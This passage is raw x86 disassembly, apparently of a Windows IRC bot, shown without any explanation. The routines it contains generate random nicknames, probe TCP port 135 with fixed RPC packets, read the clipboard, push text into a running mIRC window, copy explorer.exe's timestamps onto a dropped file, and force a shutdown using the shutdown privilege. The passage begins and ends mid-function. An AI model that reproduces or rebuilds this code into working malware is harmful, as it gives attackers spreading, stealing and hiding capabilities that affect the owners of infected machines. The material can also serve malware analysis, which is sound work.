		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417FC3


loc_41802A:				; CODE XREF: sub_417FB1+10j
					; sub_417FB1+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41802F	proc near		; CODE XREF: sub_401B66+3700p
					; sub_401B66+3743p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		call	sub_41C0B2
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fmul	dbl_4286F8
		call	sub_41CF68
		cmp	eax, 1
		jnz	short loc_418079
		call	sub_41C0B2
		call	sub_41C0B2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	dword ptr loc_43ABBF+1[edx*4]
		jmp	short loc_418092
; ---------------------------------------------------------------------------


loc_418079:				; CODE XREF: sub_41802F+2Fj
		call	sub_41C0B2
		call	sub_41C0B2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_43A8C0[edx*4]


loc_418092:				; CODE XREF: sub_41802F+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C680
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B7B0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		call	sub_41C0B2
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_4286F0
		call	sub_41CF68
		mov	ebx, eax
		call	sub_41C0B2
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fimul	[ebp+var_4]
		fmul	dbl_4286E8
		call	sub_41CF68
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_418105
		cmp	esi, 3
		jnz	short loc_4180FC
		cmp	ebx, 1
		jz	short loc_418105


loc_4180FC:				; CODE XREF: sub_41802F+C6j
		cmp	eax, 1
		jnz	loc_4181BE


loc_418105:				; CODE XREF: sub_41802F+C1j
					; sub_41802F+CBj
		call	sub_41C0B2
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_4286E0
		call	sub_41CF68
		push	dword ptr loc_43ABBF+1[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C680
		lea	ebx, [ebp+esi+var_2C]
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C780
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4181AB
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C780
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4181AB
		call	sub_41C0B2
		mov	dword ptr [ebp+var_10+4], eax
		dec	esi
		fild	dword ptr [ebp+var_10+4]
		mov	dword ptr [ebp+var_10+4], esi
		fild	dword ptr [ebp+var_10+4]
		fmulp	st(1), st
		fmul	dbl_4286E8
		call	sub_41CF68
		cmp	eax, 1
		jnz	short loc_4181AB
		push	edi
		call	sub_41B7B0
		and	dword ptr [ebp+var_10+4], 0
		mov	dword ptr [ebp+var_10],	eax
		fild	[ebp+var_10]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C0B2
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4286E8
		call	sub_41CF68
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_4181AB:				; CODE XREF: sub_41802F+110j
					; sub_41802F+121j ...
		push	dword ptr [ebp+var_18+4]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C9B0
		add	esp, 0Ch


loc_4181BE:				; CODE XREF: sub_41802F+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B7B0
		mov	esi, eax
		mov	[ebp+var_4], esi
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		call	sub_41DE48
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418415
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		push	edi
		xor	ebx, ebx
		call	sub_41C780
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418317
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4286E8
		call	sub_41CF68
		cmp	esi, 3
		jz	short loc_418228
		cmp	eax, 1
		jnz	loc_418317


loc_418228:				; CODE XREF: sub_41802F+1EEj
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_41826C
		push	edi
		call	sub_41B7B0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_4286E8
		call	sub_41CF68
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41828A
; ---------------------------------------------------------------------------


loc_41826C:				; CODE XREF: sub_41802F+202j
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286D8
		call	sub_41CF68
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41828A:				; CODE XREF: sub_41802F+23Bj
		inc	esi
		xor	ebx, ebx
		mov	[ebp+var_4], esi
		inc	ebx
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286D0
		call	sub_41CF68
		cmp	esi, 3
		jz	short loc_4182B0
		cmp	eax, ebx
		jnz	short loc_418317


loc_4182B0:				; CODE XREF: sub_41802F+27Bj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_4182F5
		push	edi
		call	sub_41B7B0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_4286E8
		call	sub_41CF68
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_418313
; ---------------------------------------------------------------------------


loc_4182F5:				; CODE XREF: sub_41802F+28Bj
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286D8
		call	sub_41CF68
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_418313:				; CODE XREF: sub_41802F+2C4j
		inc	esi
		mov	[ebp+var_4], esi


loc_418317:				; CODE XREF: sub_41802F+1C4j
					; sub_41802F+1F3j ...
		cmp	esi, 6
		jge	short loc_418397
		call	sub_41C0B2
		cmp	esi, 5
		jge	short loc_418334
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286F0
		jmp	short loc_41834D
; ---------------------------------------------------------------------------


loc_418334:				; CODE XREF: sub_41802F+2F5j
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4286E8


loc_41834D:				; CODE XREF: sub_41802F+303j
		call	sub_41CF68
		test	eax, eax
		jnz	short loc_418370
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286C8
		call	sub_41CF68
		mov	cl, 30h
		jmp	short loc_41838D
; ---------------------------------------------------------------------------


loc_418370:				; CODE XREF: sub_41802F+325j
		cmp	eax, 1
		jnz	short loc_418397
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286D8
		call	sub_41CF68
		mov	cl, 41h


loc_41838D:				; CODE XREF: sub_41802F+33Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_418397:				; CODE XREF: sub_41802F+2EBj
					; sub_41802F+344j
		cmp	ebx, 2
		jge	short loc_418415
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4286E8
		call	sub_41CF68
		cmp	eax, 1
		jnz	short loc_418415
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286C8
		call	sub_41CF68
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286C0
		call	sub_41CF68
		cmp	eax, 1
		jnz	short loc_418415
		cmp	ebx, eax
		jge	short loc_418415
		call	sub_41C0B2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4286B8
		call	sub_41CF68
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_418415:				; CODE XREF: sub_41802F+1ACj
					; sub_41802F+36Bj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BDC0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41802F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41842E	proc near		; CODE XREF: sub_418466+125p
					; sub_418466+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_41845C


loc_41843F:				; CODE XREF: sub_41842E+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DEA0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418462
		inc	esi
		cmp	esi, edi
		jl	short loc_41843F


loc_41845C:				; CODE XREF: sub_41842E+Fj
		xor	al, al


loc_41845E:				; CODE XREF: sub_41842E+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418462:				; CODE XREF: sub_41842E+27j
		mov	al, 1
		jmp	short loc_41845E
sub_41842E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418466	proc near		; CODE XREF: sub_40DE14+8Bp

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C2F0
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_4184A7
		dec	eax
		jz	short loc_418485
		dec	eax


loc_41847F:				; CODE XREF: sub_418466+57j
		xor	eax, eax


loc_418481:				; CODE XREF: sub_418466+3Fj
					; sub_418466+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_418485:				; CODE XREF: sub_418466+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CDCA4	; inet_addr
		push	eax
		call	sub_40BF0D
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_418481
; ---------------------------------------------------------------------------


loc_4184A7:				; CODE XREF: sub_418466+13j
		push	6
		push	1
		push	2
		call	dword_4CDCE4	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_41847F
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CDC64	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40AA04
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CDC0C	; connect
		cmp	eax, edi
		jz	loc_4185C3
		push	ebx
		push	48h
		push	offset dword_43B4C8
		push	esi
		call	dword_4CDCB4	; send
		cmp	eax, edi
		jz	loc_4185C3
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDC7C	; recv
		cmp	eax, edi
		jz	loc_4185C3
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_4185C3
		push	ebx
		push	18h
		push	offset dword_43B514
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		cmp	eax, edi
		jz	short loc_4185C3
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDC7C	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4185C3
		cmp	[ebp+var_200E],	2
		jnz	short loc_4185C3
		push	10h
		push	offset loc_43B530
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_41842E
		add	esp, 10h
		test	al, al
		jz	short loc_4185A3
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_4185C3
; ---------------------------------------------------------------------------


loc_4185A3:				; CODE XREF: sub_418466+12Fj
		push	10h
		push	offset dword_43B544
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_41842E
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_4185C3:				; CODE XREF: sub_418466+9Bj
					; sub_418466+B2j ...
		push	[ebp+arg_4]
		call	dword_4CDCFC	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_418481
sub_418466	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D4	proc near		; CODE XREF: sub_401B66+B4Dp
					; sub_401B66+B87p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_41865F
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_41865F
		cmp	[ebp+arg_8], esi
		jz	short loc_41865F
		cmp	byte ptr [eax],	0
		jz	short loc_41865F
		push	ebx
		push	edi
		call	sub_426C69
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_41865A
		push	[ebp+arg_4]
		push	edi
		call	sub_41C0D0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_418653
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BDC0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B7B0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C9B0
		push	[ebp+arg_4]
		call	sub_41B7B0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C690
		push	ebx
		push	edi
		call	sub_41C680
		add	esp, 30h
		mov	esi, edi


loc_418653:				; CODE XREF: sub_4185D4+3Cj
		push	ebx
		call	sub_41B881
		pop	ecx


loc_41865A:				; CODE XREF: sub_4185D4+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_418661
; ---------------------------------------------------------------------------


loc_41865F:				; CODE XREF: sub_4185D4+Cj
					; sub_4185D4+13j ...
		xor	eax, eax


loc_418661:				; CODE XREF: sub_4185D4+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4185D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418665	proc near		; CODE XREF: sub_4019F7+DCp

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	ebx
		push	eax
		call	sub_41BD60
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B7B0
		xor	edi, edi
		add	esp, 10h
		inc	edi
		cmp	eax, edi
		jge	short loc_41869D
		or	eax, 0FFFFFFFFh
		jmp	short loc_418704
; ---------------------------------------------------------------------------


loc_41869D:				; CODE XREF: sub_418665+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_7D0], esi
		jle	short loc_4186BE


loc_4186A9:				; CODE XREF: sub_418665+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4186B6
		cmp	dl, 0Dh
		jnz	short loc_4186B9


loc_4186B6:				; CODE XREF: sub_418665+4Aj
		mov	[ecx+esi], bl


loc_4186B9:				; CODE XREF: sub_418665+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_4186A9


loc_4186BE:				; CODE XREF: sub_418665+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_4186E6


loc_4186C4:				; CODE XREF: sub_418665+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_4186E1
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_4186E1
		cmp	edi, 1F4h
		jge	short loc_4186E6
		mov	[ebp+edi*4+var_7D0], ecx
		inc	edi


loc_4186E1:				; CODE XREF: sub_418665+62j
					; sub_418665+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_4186C4


loc_4186E6:				; CODE XREF: sub_418665+5Dj
					; sub_418665+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_418702
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	near ptr sub_41CAE0
		add	esp, 0Ch


loc_418702:				; CODE XREF: sub_418665+84j
		mov	eax, edi


loc_418704:				; CODE XREF: sub_418665+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418665	endp


; =============== S U B	R O U T	I N E =======================================



sub_418709	proc near		; CODE XREF: sub_418763+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418742
		push	ebx
		mov	ebx, edi


loc_418726:				; CODE XREF: sub_418709+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418745
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418726
		pop	ebx


loc_418742:				; CODE XREF: sub_418709+18j
		pop	edi
		pop	esi
		retn
sub_418709	endp


; =============== S U B	R O U T	I N E =======================================



sub_418745	proc near		; CODE XREF: sub_418709+25p
					; sub_418763+69p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DF4C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418760
		cmp	al, 7Ah
		jg	short loc_418760
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418760:				; CODE XREF: sub_418745+Ej
					; sub_418745+12j
		xor	eax, eax
		retn
sub_418745	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418763	proc near		; CODE XREF: sub_415886+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C2F0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B7B0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B7B0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418709
		add	esp, 14h
		dec	esi
		mov	edi, esi
		jmp	short loc_418815
; ---------------------------------------------------------------------------


loc_4187A3:				; CODE XREF: sub_418763+B4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DF4C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DF4C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418813


loc_4187C5:				; CODE XREF: sub_418763+AEj
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418745
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_4187E6
		mov	eax, ecx


loc_4187E6:				; CODE XREF: sub_418763+7Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_418823
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DF4C
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_41DF4C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4187C5


loc_418813:				; CODE XREF: sub_418763+60j
		dec	edi
		dec	esi


loc_418815:				; CODE XREF: sub_418763+3Ej
		test	esi, esi
		jg	short loc_4187A3
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_41881E:				; CODE XREF: sub_418763+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418823:				; CODE XREF: sub_418763+88j
		xor	eax, eax
		jmp	short loc_41881E
sub_418763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418827	proc near		; CODE XREF: sub_401B66+66D0p
					; sub_401B66+776Ap

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_42808C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_42815C	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_418860:				; CODE XREF: sub_418827+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_41886C
		cmp	cl, 9
		jnz	short loc_41886F


loc_41886C:				; CODE XREF: sub_418827+3Ej
		inc	eax
		jmp	short loc_418860
; ---------------------------------------------------------------------------


loc_41886F:				; CODE XREF: sub_418827+43j
					; sub_418827+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_418889
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_41886F
		cmp	cl, 21h
		jl	short loc_41886F


loc_418889:				; CODE XREF: sub_418827+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DD4E0
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C150
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418827	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188B1	proc near		; CODE XREF: sub_401B66+23FDp
		push	esi
		push	0
		call	dword_4CDC34	; OpenClipboard
		test	eax, eax
		jz	short loc_4188E8
		push	1
		call	dword_4CDC54	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4188E8
		push	edi
		push	esi
		call	dword_428164	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_428160	; GlobalUnlock
		call	dword_4CDCB8	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4188E8:				; CODE XREF: sub_4188B1+Bj
					; sub_4188B1+19j
		xor	eax, eax
		pop	esi
		retn
sub_4188B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188EC	proc near		; CODE XREF: sub_401B66+7515p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CDC70	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_418968
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_428170	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_42816C	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C056
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CDCC0	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CDCC0	; SendMessageA
		push	ebx
		call	dword_428168	; UnmapViewOfFile
		push	edi
		call	dword_42806C	; CloseHandle
		xor	eax, eax
		pop	ebx
		inc	eax
		jmp	short loc_41896A
; ---------------------------------------------------------------------------


loc_418968:				; CODE XREF: sub_4188EC+16j
		xor	eax, eax


loc_41896A:				; CODE XREF: sub_4188EC+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4188EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41896E	proc near		; CODE XREF: sub_401252+203p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CDD1C	; SearchPathA
		test	eax, eax
		jz	short loc_418A0D
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4280EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418A0D
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_428178	; GetFileTime
		push	ebx
		mov	ebx, dword_42806C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418A0D
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_428174	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_418A0D:				; CODE XREF: sub_41896E+2Aj
					; sub_41896E+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41896E	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A12	proc near		; CODE XREF: sub_401B66+15F6p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419E0C
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CDBA4	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418A12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A34	proc near		; CODE XREF: sub_401B66+26C3p
					; sub_416975+45Fp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
